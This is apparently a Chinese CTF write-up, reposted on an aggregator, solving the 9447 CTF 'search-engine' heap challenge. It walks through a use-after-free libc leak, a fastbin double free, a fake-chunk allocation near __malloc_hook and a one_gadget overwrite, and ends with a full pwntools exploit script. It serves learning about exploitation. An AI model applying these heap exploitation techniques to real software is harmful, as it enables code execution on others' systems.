【PWN · heap | Arbitrary Alloc】2015_9447ctf_search-engine

news2024/10/5 13:16:58

和【PWN · heap | House Of Spirit】2014_hack.lu_oreo-CSDN博客略有区别,但都是通过malloc一块fake_chunk到指定区域,获得对该区域的写权限


目录

零、简单介绍

一、题目分析

1.主要功能

2.index_sentence(): 增添一条语句到“库”中

3.search_word():查询单词

4.read_str():读入字符串

二、解题思路

1.整体思路

2.泄露libc

3.getshell——劫持malloc_hook

三、利用过程

1.leak libc

2.fastbin循环指针

3.Arbitrary Alloc

4.hijack __malloc_hook

四、EXP

总结


零、简单介绍

Arbitrary Alloc 其实与 Alloc to stack 是完全相同的,唯一的区别是分配的目标不再是栈中。 事实上只要满足目标地址存在合法的 size 域(这个 size 域是构造的,还是自然存在的都无妨),我们可以把 chunk 分配到任意的可写内存中,比如 bss、heap、data、stack 等等。

Arbitrary Alloc 在 CTF 中用地更加频繁。我们可以利用字节错位等方法来绕过 size 域的检验,实现任意地址分配 chunk,最后的效果也就相当于任意地址写任意值。


一、题目分析

1.主要功能

主要有两项功能,一是增添sentence,二是查询单次。由于数据结构的组织对我而言比较复杂,因此有必要好好做一个分析。

2.index_sentence(): 增添一条语句到“库”中

这里的单词指针,是源自句子的一部分(因此将句子整个置为\x00后,word也将变为\x00)

结构体各成员含义:

  • content:单词的值
  • size:单词的长度
  • sentence_ptr:单词源自的句子
  • len:句子的长度
  • next:指向下一个word结构体变量
  • padding1和padding2:按对齐要求进行必要填充

3.search_word():查询单词

4.read_str():读入字符串

 尤其重要的是第三个参数的含义


二、解题思路

先看看保护机制

用patchelf给程序链接了合适的动态链接库

开始思考如何做题。

1.整体思路

  1. 泄露libc
  2. getshell
    1. got劫持?不太行
    2. ROP?劫持到栈上,也许可以
    3. hook劫持、打one_gadget?double free+Arbitrary Alloc,可以一试

2.泄露libc

可以从现有条件+已知方法考虑(泄露libc的方法可以多多积累,无非是获得libc中的一个真实地址,通过偏移计算基地址)

而泄露必然是回显,因此可以看看哪些输出,或者哪些指针是具有读权限的。

除了menu打印字符串常量,search_word()具有打印变量的权限,更具体来说是被malloc的堆块的数据区。而我们注意到malloc的堆块释放到bin中,但是sentence被释放后,没赋值NULL,为野指针。因此可以利用chunk被释放后放入unsorted bin,堆管理中fd和bk指针被修改,再利用这里的write打印出来,即可泄露。——这也是经常利用泄露libc的手法。

唯一的问题是,如何绕过对word匹配的限制,调用write。

其实,当sentence被memset为\x00\x00…\x00后,word作为sentence字符串开始的字符串指针,也变味了\x00,这时只需要索引长度为1的\x00即可绕过对word的匹配检测。

3.getshell——劫持malloc_hook

我们知道,存在double free,因此我们可以利用这一点,构造循环指针A→B→A→B…然后申请A,修改对应fd域为fake_chunk。此时bin中即:B→A→fake_chunk。

然而这里有几个点需要注意:

  1. 需要malloc三个sentence,free三个sentence后,再释放其中一个。依次malloc了chunk A、B、C。此时head→word(C)→word(B)→word(A)。而匹配依次free后,fastbin: A→B→C→NULL。注意,这里free的是sentence。在循环比较时,条件首先需要满足i→sentence≠0。而此时C的fd指针已是NULL(注意C就是sentence,就是i→sentence),不可通过该检测。所以循环比较时,只会顺利检测并free A、B。而为了构造循环链表,应free B构造A→B→A…
  2. fake_chunk在malloc附近,因此fake_chunk的size一般可通过错位构造为0x7f,所以ABC的chunk size也应在这一范围。使用pwndbg中的find_fake_fast函数和查找一下可以将malloc_hook作为内容地址的0x70(0x7F)大小的fake_chunk。 命令格式: find_fake_fast+被写入地址+chunk大小
  3. malloc_hook的地址比泄露出来的main_arena地址小0x10
  4. 由于leak libc时已经有一个sentence被free,因此search ’\x00‘ 时,会匹配到A、B和之前的leak_chunk,一次’y’,两次’n’

三、利用过程

1.leak libc

2.fastbin循环指针

malloc 三次,free 三次,再free 一次,即可。

3.Arbitrary Alloc

然后依据偏移即可求出每次程序的fake_chunk_addr

 4.hijack __malloc_hook

依据距离偏移,精确覆写malloc_hook:

(这里的值需要具体算,0xef9f4是one_gadget偏移)


四、EXP

from pwn import *
from pwn import p64,u64
context(arch='amd64',log_level='debug')
io=process('./pwn')
a=0
if input('[?]gdb')!='':
    a=1
    gdb.attach(io)

def search_word(size,word):
    io.sendline(b'1')
    io.recvuntil(b'size:\n')
    io.sendline(str(size).encode())
    io.recvuntil(b'word:\n')
    io.send(word)

def delete_word(choice):
    io.recvuntil(b'(y/n)?\n')
    io.sendline(choice)
    if choice==b'y':
        io.recvuntil(b'Deleted!\n')

def index_sentence(size,sentence):
    io.sendline(b'2')
    io.recvuntil(b'size:\n')
    io.sendline(str(size).encode())
    io.recvuntil(b'sentence:\n')
    io.send(sentence)

def gdb_break():
    if a==1:
        input('[+]gdb check')
## test
# index_sentence(9,b'dead beef')
# search_word(4,b'beef')
# delete_word(b'y')
# search_word(4,b'dead')
# io.interactive()

# leak libc
sentence=0x83*b'a'+b' b'
index_sentence(0x85,sentence)
search_word(1,b'b')
delete_word(b'y')
search_word(1,b'\x00')
io.recvuntil(b': ')
leak_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
# success(hex(leak_addr))
main_arena=leak_addr-88
success('main_arena: '+hex(main_arena))
gdb_break()
delete_word(b'n')

# double-free
sentence=0x5d*b'a'+b' c '
length=len(sentence)
for i in range(3):
    index_sentence(length,sentence) 
gdb_break()
search_word(1,b'c')
delete_word(b'y')
delete_word(b'y')
delete_word(b'y')
gdb_break()
search_word(1,b'\x00')
delete_word(b'y')
delete_word(b'n')
delete_word(b'n')
gdb_break()

# fake-chunk
fake_chunk_addr=0x7f05fd0adaed-0x7f05fd0adb20+main_arena
success('fake_chunk_addr: '+hex(fake_chunk_addr))
gdb_break()
sentence=p64(fake_chunk_addr)
sentence=sentence.ljust(length,b'\x00')
index_sentence(length,sentence)
gdb_break()
index_sentence(length,b'a'*length)
index_sentence(length,b'b'*length)
gdb_break()

'''one-gadget
0x45206 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4525a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xef9f4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf0897 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''
libc_base=main_arena-0x3c4b10-0x1010+0x2000
success('libc-base: '+hex(libc_base))
gdb_break()
sentence=(0x7f5eec1dfb10-(0x7f5eec1dfaed+0x10))*b'a'+p64(libc_base+0xef9f4)+b' '
sentence=sentence.ljust(length,b'\x00')
index_sentence(length,sentence)
gdb_break()
io.interactive()


总结

1. unsorted bin泄露libc

2. find_fake_fast可查找错位构造fake_fast_chunk

3.UAF+double free+Arbitrary Alloc

4. 关注具有读写权限的指针和操作

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1444328.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

ubuntu下修改hosts读写权限

ubuntu下修改hosts文件的操作: 由于需要在hosts文件下添加ip地址信息,但是初始情况下系统该文件为只读权限无法修改,具体操作如下所示; 1.cd到系统etc目录下,执行如下命令,此时会提示输入密码,直接输入回…

Java实现陕西非物质文化遗产网站 JAVA+Vue+SpringBoot+MySQL

目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 设计目标2.2 研究内容2.3 研究方法与过程2.3.1 系统设计2.3.2 查阅文献2.3.3 网站分析2.3.4 网站设计2.3.5 网站实现2.3.6 系统测试与效果分析 三、系统展示四、核心代码4.1 查询民间文学4.2 查询传统音乐4.3 增改传统舞…

用C语言列出Linux或Unix上的网络适配器

上代码&#xff1a; 1. #include <sys/socket.h> 2. #include <stdio.h> 3. 4. #include <netdb.h> 5. #include <ifaddrs.h> 6. 7. int main() { 8. struct ifaddrs *addresses; 9. if(getifaddrs(&addresses) -1) { 10. printf("…

软件价值11-简单计算器

用python的tkinter做的简单计算器 代码&#xff1a; import tkinter as tkdef button_click(item):global expressionexpression expression str(item)input_text.set(expression)def button_clear():global expressionexpression ""input_text.set(""…

车载测试Vector工具——常见问题汇总

车载测试Vector工具——常见问题汇总 我是穿拖鞋的汉子,魔都中坚持长期主义的汽车电子工程师(Wechat:gongkenan2013)。 老规矩,分享一段喜欢的文字,避免自己成为高知识低文化的工程师: 屏蔽力是信息过载时代一个人的特殊竞争力,任何 消耗你的人和事,多看一眼都是你的…

python-分享篇-GUI界面开发-PyQt5-使用tkinter模块弹出不同种类的消息提示框

代码 import tkinter.messagebox # 导入tkinter模块的子模块messagebox# 带一个确定按钮的提示消息框 tkinter.messagebox.showinfo("提示&#xff1a;","愿你的青春不负梦想&#xff01;")# 带一个确定按钮的警告消息框 tkinter.messagebox.showwarning(…

单片机学习笔记---蜂鸣器播放提示音音乐(天空之城)

目录 蜂鸣器播放提示音 蜂鸣器播放音乐&#xff08;天空之城&#xff09; 准备工作 主程序 中断函数 上一节讲了蜂鸣器驱动原理和乐理基础知识&#xff0c;这一节开始代码演示&#xff01; 蜂鸣器播放提示音 先创建工程&#xff1a;蜂鸣器播放提示音 把我们之前模块化的…

【2024年数据】67个“绿色金融”主题DID政策汇总(已去重)

DID”发文趋势和主题分布 数据来源&#xff1a;中国知网、各期刊官网 时间跨度&#xff1a;2017-2024年 数据范围&#xff1a;中国各省 数据指标&#xff1a; 序号 用于构建DID的政策 文献标题 1 “宽带中国” 数字技术创新与中国企业高质量发展——来自企业数字专利的证据…

离开亚马逊7.5年后的真心话

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗&#xff1f;订阅我们的简报&#xff0c;深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同&#xff0c;从行业内部的深度分析和实用指南中受益。不要错过这个机会&#xff0c;成为AI领…

【数据结构和算法】--- 基于c语言排序算法的实现(2)

目录 一、交换排序1.1 冒泡排序1.2 快速排序1.2.1 hoare法1.2.2 挖坑法1.2.3 前后指针法 1.3 快速排序优化1.3.1 三数取中法选key1.3.2 递归到小的子区间使用插入排序 1.4 快排非递归版 二、归并排序2.1 归并排序2.1.1 递归版2.1.2 非递归版 一、交换排序 基本思想&#xff1a…

python学习23

前言&#xff1a;相信看到这篇文章的小伙伴都或多或少有一些编程基础&#xff0c;懂得一些linux的基本命令了吧&#xff0c;本篇文章将带领大家服务器如何部署一个使用django框架开发的一个网站进行云服务器端的部署。 文章使用到的的工具 Python&#xff1a;一种编程语言&…

Java常用类与基础API--String的实例化与连接操作

文章目录 一、String实例化的两种方式&#xff08;1&#xff09;两种方式&#xff08;2&#xff09;举例1、案例12、案例2 &#xff08;3&#xff09;内存分配&#xff08;4&#xff09;面试题1、题12、题2 二、String的连接操作&#xff08;1&#xff09;案例1、案例剖析2、in…

小程序-云开发 获取用户的openid等信息

说明介绍&#xff1a; 小程序云开发功能来获取用户的openid。 一般在我们需要用到用户登录的时候&#xff0c;通常是需要获取微信小程序的openid的&#xff0c;由于微信的限制&#xff0c;一般我们只能通过后台去调微信的接口&#xff0c;来授权获取&#xff0c;增加了后端开发…

从零开始学howtoheap:fastbins的double-free攻击实操3

how2heap是由shellphish团队制作的堆利用教程&#xff0c;介绍了多种堆利用技术&#xff0c;后续系列实验我们就通过这个教程来学习。环境可参见从零开始配置pwn环境&#xff1a;优化pwn虚拟机配置支持libc等指令-CSDN博客 1.fastbins的double-free攻击 这个程序展示了怎样利…

人工智能|推荐系统——基于tensorflow的个性化电影推荐系统实战(有前端)

代码下载&#xff1a; 基于tensorflow的个性化电影推荐系统实战(有前端).zip资源-CSDN文库 项目简介&#xff1a; dl_re_web : Web 项目的文件夹re_sys&#xff1a; Web app model&#xff1a;百度云下载之后&#xff0c;把model放到该文件夹下recommend&#xff1a; 网络模型相…

appears to be hung in Auto SQL Tuning task

appears to be hung in Auto SQL Tuning task Oracle 自动定时优化任务执行失败分析 错误现象&#xff1a; Sat Feb 10 03:10:57 2024 Process 0x0x00007FFB81BE44A8 appears to be hung in Auto SQL Tuning task Current time 1707505857, process death time 1707505803 …

【Linux】make和Makefile

目录 make和Makefile make和Makefile 我们使用vim编辑器的时候&#xff0c;在一个文件里写完代码要进行编译&#xff0c;要自己输入编译的指令。有没有一种可以进行自动化编译的方法——makefile文件&#xff0c;它可以指定具体的编译操作&#xff0c;写好makefile文件&#x…

读千脑智能笔记10_人类智能存在的风险

1. 人类智能存在的风险 1.1. “末日时钟” 1.1.1. 核战争引发的大火列为地球毁灭的主要原因 1.1.2. 气候变化列为人类自我毁灭的第二大潜在原因 1.2. 除非我们刻意加入自私的驱动力、动机或情感&#xff0c;否则智能机器并不会威胁到人类的生存 1.2.1. 人类在不远的将来会…

c语言游戏实战(7):扫雷

前言&#xff1a; 扫雷是一款经典的单人益智游戏&#xff0c;它的目标是在一个方格矩阵中找出所有的地雷&#xff0c;而不触碰到任何一颗地雷。在计算机编程领域&#xff0c;扫雷也是一个非常受欢迎的项目&#xff0c;因为它涉及到许多重要的编程概念&#xff0c;如数组、循环…

MongoDB存储引擎发展及WiredTiger深入解析(二)

在现代的数据管理领域中&#xff0c;MongoDB作为一个高性能、开源的NoSQL数据库系统&#xff0c;已经在全球范围内被广泛应用。而MongoDB背后的存储引擎&#xff0c;作为其数据管理的核心组件&#xff0c;也经历了不断的发展和优化。本文将对MongoDB的存储引擎发展进行简要回顾…